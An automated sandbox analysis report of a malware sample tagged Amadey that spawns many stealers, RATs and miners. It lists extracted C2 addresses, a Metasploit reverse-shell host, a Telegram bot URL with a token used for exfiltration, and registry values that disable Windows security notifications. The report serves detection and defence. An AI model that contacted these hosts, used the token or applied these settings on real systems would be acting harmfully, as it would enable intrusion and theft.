amadey | e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1

max time kernel
803s
max time network
1201s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
16-11-2024 19:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe.zip
Size

4KB
MD5

16d34133af438a73419a49de605576d9
SHA1

c3dbcd70359fdad8835091c714a7a275c59bd732
SHA256

e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
SHA512

59c0272d6faa2682b7a6ce1cd414d53cc39f06035f4f38a2e206965805034bf8012b02d59f428973965136d70c89f87ac3b17b5db9c1b1d49844be182b47a3d7
SSDEEP

96:xBf1inGx9SfZ+VCv3wlTDMQ1kyKXyyJNOBIKkNvL5qK+7zHf6MlYOQVPGmcEy:xBfwncSf8Cv3w9DZjKXjmBIKEvLs97D5

Malware Config

Extracted

Family

redline

Botnet

@OLEH_PSP

65.21.18.51:45580

Extracted

Family

quasar

Version

1.4.0.0

Botnet

Office

82.117.243.110:5173

Mutex

yfsS9ida0wX8mgpdJC

Attributes

encryption_key
KDNBgA8jiBeGX1rj1dDt
install_name
csrss.exe
log_directory
Logs
reconnect_delay
3000
startup_key
NET framework
subdirectory
SubDir

Extracted

Family

redline

Botnet

newbundle2

185.215.113.67:15206

Extracted

Family

xworm

HITROL-60505.portmap.host:60505

45.66.231.231:7000

Attributes

Install_directory
%AppData%
install_file
svchost.exe

Extracted

Family

quasar

Version

1.4.0

Botnet

Office04

192.168.31.99:4782

2001:4bc9:1f98:a4e::676:4782

255.255.255.0:4782

fe80::cabf:4cff:fe84:9572%17:4782

Mutex

1f65a787-81b8-4955-95e4-b7751e10cd50

Attributes

encryption_key
A0B82A50BBC49EC084E3E53A9E34DF58BD7050B9
install_name
Neverlose Loader.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Java Updater
subdirectory
SubDir

Extracted

Family

metasploit

Version

windows/reverse_tcp

89.197.154.116:7810

Extracted

Family

gurcu

https://api.telegram.org/bot7929370892:AAGwrX5TeyxQidZdAEm_Z6-CDvPUOQzVY1M/sendMessage?chat_id=-4538387273

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

resource	yara_rule
behavioral4/files/0x001b00000002b1a9-19382.dat	family_ammyyadmin

Ammyyadmin family
ammyyadmin
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral4/files/0x001900000002ad43-5822.dat	family_vidar_v7
behavioral4/files/0x001b00000002aece-11653.dat	family_vidar_v7
behavioral4/files/0x000700000002a48f-16414.dat	family_vidar_v7

Detect Xworm Payload 9 IoCs

resource	yara_rule
behavioral4/files/0x001900000002ac20-675.dat	family_xworm
behavioral4/memory/3080-684-0x0000000000CE0000-0x0000000000CFC000-memory.dmp	family_xworm
behavioral4/files/0x000200000002a81e-1627.dat	family_xworm
behavioral4/memory/6048-1632-0x00000000007C0000-0x00000000007D8000-memory.dmp	family_xworm
behavioral4/files/0x000400000002a79b-3185.dat	family_xworm
behavioral4/files/0x000400000002a7a1-3278.dat	family_xworm
behavioral4/files/0x001c00000002ade5-7488.dat	family_xworm
behavioral4/files/0x001500000002ae95-9045.dat	family_xworm
behavioral4/files/0x001c00000002af0c-16180.dat	family_xworm

Detects ZharkBot payload 4 IoCs

ZharkBot is a botnet written C++.

resource	yara_rule
behavioral4/files/0x000800000000f52b-2480.dat	zharkcore
behavioral4/files/0x001a00000002ad77-6438.dat	zharkcore
behavioral4/files/0x000400000002a4b9-8057.dat	zharkcore
behavioral4/files/0x001a00000002b09e-16504.dat	zharkcore

FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
trojan flawedammyy
Flawedammyy family
flawedammyy
Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 2 IoCs

resource	yara_rule
behavioral4/files/0x001900000002afb6-14806.dat	family_meduza
behavioral4/files/0x001d00000002af0b-14882.dat	family_meduza

Meduza family
meduza
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysmablsvr.exe

Phorphiex family
phorphiex

Phorphiex payload 6 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002aab1-624.dat	family_phorphiex
behavioral4/files/0x000300000002a700-719.dat	family_phorphiex
behavioral4/files/0x000200000002a818-1611.dat	family_phorphiex
behavioral4/files/0x000400000002a7e0-3614.dat	family_phorphiex
behavioral4/files/0x001900000002ac6c-3707.dat	family_phorphiex
behavioral4/files/0x001b00000002ac96-3997.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Process spawned unexpected child process 37 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7460	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7468	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6952	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7380	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8020	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7900	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7152	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6328	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6404	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8028	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7560	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5820	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7376	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7540	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5412	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6184	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5992	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1748	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6256	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7248	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6160	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4188	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4904	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5060	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7320	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7892	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6552	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7732	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5348	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3088	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8048	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8016	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6440	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9212	4948	cmd.exe	88

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 6 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002abdd-592.dat	family_quasar
behavioral4/memory/496-599-0x0000000000580000-0x00000000005CE000-memory.dmp	family_quasar
behavioral4/files/0x000200000002a71a-754.dat	family_quasar
behavioral4/memory/5664-761-0x00000000003D0000-0x0000000000454000-memory.dmp	family_quasar
behavioral4/files/0x001900000002ad35-5189.dat	family_quasar
behavioral4/files/0x001900000002ae79-8379.dat	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 7 IoCs

resource	yara_rule
behavioral4/files/0x001900000002ac0d-533.dat	family_redline
behavioral4/memory/5016-540-0x0000000000450000-0x00000000004A2000-memory.dmp	family_redline
behavioral4/files/0x001900000002ac1f-639.dat	family_redline
behavioral4/memory/4628-646-0x00000000003B0000-0x0000000000402000-memory.dmp	family_redline
behavioral4/files/0x001b00000002ac8e-4058.dat	family_redline
behavioral4/files/0x001a00000002adf5-7104.dat	family_redline
behavioral4/files/0x001c00000002b173-21000.dat	family_redline

Redline family
redline

Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs

description	pid	Process	procid_target
PID 6056 created 3260	6056	nxmr.exe	53
PID 6056 created 3260	6056	nxmr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 3044 created 3260	3044	Optimum.pif	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe

XMRig Miner payload 3 IoCs

miner

resource	yara_rule
behavioral4/files/0x000200000002a81f-1797.dat	family_xmrig
behavioral4/files/0x000200000002a81f-1797.dat	xmrig
behavioral4/files/0x001900000002b195-20876.dat	xmrig

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot
Zharkbot family
zharkbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 8 IoCs

rat

resource	yara_rule
behavioral4/files/0x000a00000000f45b-3359.dat	family_asyncrat
behavioral4/files/0x001a00000002ac57-3620.dat	family_asyncrat
behavioral4/files/0x001a00000002ac88-3811.dat	family_asyncrat
behavioral4/files/0x000c00000002a3c7-8557.dat	family_asyncrat
behavioral4/files/0x001900000002aea2-9089.dat	family_asyncrat
behavioral4/files/0x002200000002aaaa-14204.dat	family_asyncrat
behavioral4/files/0x001700000002b156-16337.dat	family_asyncrat
behavioral4/files/0x001800000002b15f-16889.dat	family_asyncrat

DCRat payload 2 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral4/files/0x000300000002a7c9-3382.dat	dcrat
behavioral4/files/0x000400000002a7f3-3463.dat	dcrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	hhnjqu9y.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Client_protected.exe

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002acb7-10207.dat	mimikatz

Blocklisted process makes network request 3 IoCs

flow	pid	Process
489	4840	sysklnorbcv.exe
490	4840	sysklnorbcv.exe
529	4840	sysklnorbcv.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6288	powershell.exe
7396	powershell.exe
3184	powershell.exe
9596	powershell.exe
12248	powershell.EXE
3008	powershell.exe
5960	powershell.exe
1296	powershell.exe
2344	powershell.exe
6716	powershell.exe
6836	powershell.exe
4544	powershell.exe
12076	Process not Found
11392	Process not Found
5960	powershell.exe
2452	powershell.exe
5872	powershell.exe
6964	powershell.exe
4980	powershell.exe
1516	Process not Found
6096	powershell.exe
6728	powershell.exe
2044	Process not Found
3644	powershell.exe
5528	powershell.exe
6248	powershell.exe
6232	powershell.exe
2632	powershell.exe
6952	powershell.exe
12972	Process not Found
13048	Process not Found
5844	powershell.exe
8000	powershell.exe
13240	powershell.exe
6136	powershell.exe

Contacts a large (733) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
10184	net.exe

Modifies Windows Firewall 2 TTPs 5 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7448	netsh.exe
9920	netsh.exe
3584	netsh.exe
3968	netsh.exe
2280	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
9860	msedge.exe
10112	chrome.exe
11528	chrome.exe
11768	msedge.exe
5560	msedge.exe
10848	chrome.exe
13288	chrome.exe
8100	msedge.exe
7592	msedge.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x001900000002afb1-14708.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hhnjqu9y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hhnjqu9y.exe

Drops startup file 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b9584a316aeb9ca9b31edd4db18381f5.exe	NJRat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b9584a316aeb9ca9b31edd4db18381f5.exe	NJRat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe

Executes dropped EXE 64 IoCs

pid	Process
4936	4363463463464363463463463.exe
1208	crypteda.exe
2660	OHDhueyr0e.exe
5016	Dn8g5KQZ4r.exe
3312	4363463463464363463463463.exe
496	jerniuiopu.exe
2748	test.exe
3244	4363463463464363463463463.exe
3540	t2.exe
4840	sysklnorbcv.exe
3920	4363463463464363463463463.exe
4628	xxl.exe
3080	svchost.exe
4812	4363463463464363463463463.exe
5196	pi.exe
5452	Launcher.exe
5664	Neverlose%20Loader.exe
5736	sysppvrdnvs.exe
6056	nxmr.exe
6076	winupsecvmgr.exe
1340	svchost.exe
5068	bildnewl.exe
5388	t1.exe
3228	loader_5879465914.exe
5264	xyaw4fkp.exe
5320	twztl.exe
5784	html.exe
1884	Indentif.exe
4668	tdrpload.exe
5548	c2.exe
2216	pei.exe
5144	5.exe
5840	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5956	LummaC22222.exe
5028	newtpp.exe
6048	xt.exe
5296	1304425268.exe
4668	sysnldcvmr.exe
936	xxz.exe
5960	sysnldcvmr.exe
4568	NorthSperm.exe
3044	Optimum.pif
2216	svchost.exe
1292	KuwaitSetupHockey.exe
4672	KuwaitSetupHockey.tmp
2816	major.exe
1440	T3.exe
7588	Unit.exe
6420	WinRarInstall.exe
4572	winrar-info.exe
6268	winrar-x64-701ru.exe
6136	GLP_installer_900223086_market.exe
6328	si.exe
6840	freedom.exe
7444	hhnjqu9y.exe
7936	RegAsm.exe
7516	win.exe
7864	resex.exe
8188	XClient.exe
7016	Reproduction.pif
7136	loader.exe
2088	rhsgn_protected.exe
3044	client.exe

Loads dropped DLL 60 IoCs

pid	Process
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
6136	GLP_installer_900223086_market.exe
6376	whats-new.exe
6376	whats-new.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6612	icacls.exe
1692	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000300000002a79e-3195.dat	themida
behavioral4/files/0x001800000002b19d-16991.dat	themida
behavioral4/files/0x001900000002b199-17059.dat	themida

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral4/files/0x001b00000002acc4-6980.dat	vmprotect

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\b9584a316aeb9ca9b31edd4db18381f5 = "\"C:\\Users\\Admin\\Desktop\\Files\\NJRat.exe\" .."	NJRat.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	tt.exe
